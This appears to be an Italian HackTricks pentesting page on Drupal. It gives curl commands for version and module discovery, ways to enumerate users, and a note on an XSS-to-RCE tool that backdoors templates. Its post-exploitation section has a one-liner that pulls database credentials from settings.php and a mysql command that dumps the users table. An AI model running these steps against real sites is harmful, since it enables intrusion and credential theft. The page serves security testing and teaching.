Drupal

Reading time: 4 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Scoperta

  • Controlla meta
bash
curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indicizza i suoi contenuti utilizzando i nodi. Un nodo può contenere qualsiasi cosa come un post del blog, un sondaggio, un articolo, ecc. Gli URI delle pagine sono solitamente della forma /node/<nodeid>.
bash
curl drupal-site.com/node/1

Enumerazione

Versione

  • Controlla /CHANGELOG.txt
bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

note

Le installazioni più recenti di Drupal bloccano per impostazione predefinita l'accesso ai file CHANGELOG.txt e README.txt.

Enumerazione degli utenti

Drupal supporta tre tipi di utenti per impostazione predefinita:

  1. Administrator: Questo utente ha il controllo completo sul sito web di Drupal.
  2. Authenticated User: Questi utenti possono accedere al sito web e svolgere operazioni come aggiungere e modificare articoli in base alle loro autorizzazioni.
  3. Anonymous: Tutti i visitatori del sito web sono designati come anonimi. Per impostazione predefinita, questi utenti possono solo leggere i post.

Per enumerare gli utenti puoi:

  • Ottenere il numero di utenti: Accedi semplicemente a /user/1, /user/2, /user/3... fino a quando non restituisce un errore che indica che l'utente non esiste.
  • Registrazione: Accedi a /user/register e prova a creare un nome utente; se il nome è già stato preso, verrà indicato in un errore del server.
  • Reimposta la password: Prova a reimpostare la password di un utente e se l'utente non esiste, verrà indicato chiaramente in un messaggio di errore.

Pagine nascoste

Trova semplicemente nuove pagine cercando in /node/FUZZ dove FUZZ è un numero (da 1 a 1000, ad esempio).

Informazioni sui moduli installati

bash
#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Strumenti Automatici

bash
droopescan scan drupal -u http://drupal-site.local

RCE

Se hai accesso alla console web di Drupal, controlla queste opzioni per ottenere RCE:

{{#ref}} drupal-rce.md {{#endref}}

Da XSS a RCE

  • Drupalwned: Script di sfruttamento di Drupal che eleva XSS a RCE o altre vulnerabilità critiche. Per ulteriori informazioni controlla questo post. Fornisce supporto per le versioni di Drupal 7.X.X, 8.X.X, 9.X.X e 10.X.X, e consente di:
  • Escalation dei privilegi: Crea un utente amministrativo in Drupal.
  • (RCE) Carica Template: Carica template personalizzati con backdoor su Drupal.

Post Exploitation

Leggi settings.php

bash
find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Dump utenti dal DB

bash
mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks